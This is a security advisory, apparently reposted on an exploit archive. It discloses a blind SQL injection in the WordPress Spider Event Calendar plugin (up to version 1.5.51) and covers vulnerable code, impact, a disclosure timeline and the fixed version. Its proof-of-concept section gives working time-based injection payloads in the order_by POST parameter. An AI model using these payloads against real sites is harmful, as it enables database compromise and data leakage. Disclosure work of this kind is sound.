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WordPress Spider Event Calendar 1.5.51 Blind SQL Injection

WordPress Spider Event Calendar 1.5.51 Blind SQL Injection
Posted Apr 8, 2017
Authored by Manuel Garcia Cardenas

The WordPress Spider Event Calendar Plugin, prior to 1.5.51 suffers from a blind SQL injection vulnerability due to improper sanitization of an order_by parameter.

tags | exploit, sql injection
MD5 | 5944f9732da6dd94f731a0232d23aa59

WordPress Spider Event Calendar 1.5.51 Blind SQL Injection

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MGC ALERT 2017-003
- Original release date: April 06, 2017
- Last revised: April 10, 2017
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
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I. VULNERABILITY
-------------------------
WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection

II. BACKGROUND
-------------------------
WordPress event calendar is a FREE user-friendly responsive plugin to
manage multiple recurring events and with various options.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:

/spider-event-calendar/calendar_functions.php: if
(isset($_POST['order_by'])) {
/spider-event-calendar/widget_Theme_functions.php: if
(isset($_POST['order_by']) && $_POST['order_by'] != '') {

And when the query is executed, the parameter "order_by" it is not
sanitized:

/spider-event-calendar/front_end/frontend_functions.php: $rows =
$wpdb->get_results($query." ".$order_by);

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.

Time Based SQL Injection POC:

POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1

search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
(2 seconds of response)

search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
(30 seconds of response)

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Spider Event Calendar <= 1.5.51

VII. SOLUTION
-------------------------
Vendor release a new version.
https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip

VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/spider-event-calendar/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
April 06, 2017 1: Initial release
April 10, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
April 06, 2017 2: Send to vendor
April 07, 2017 3: Vendor fix the vulnerability and release a new version
April 10, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester


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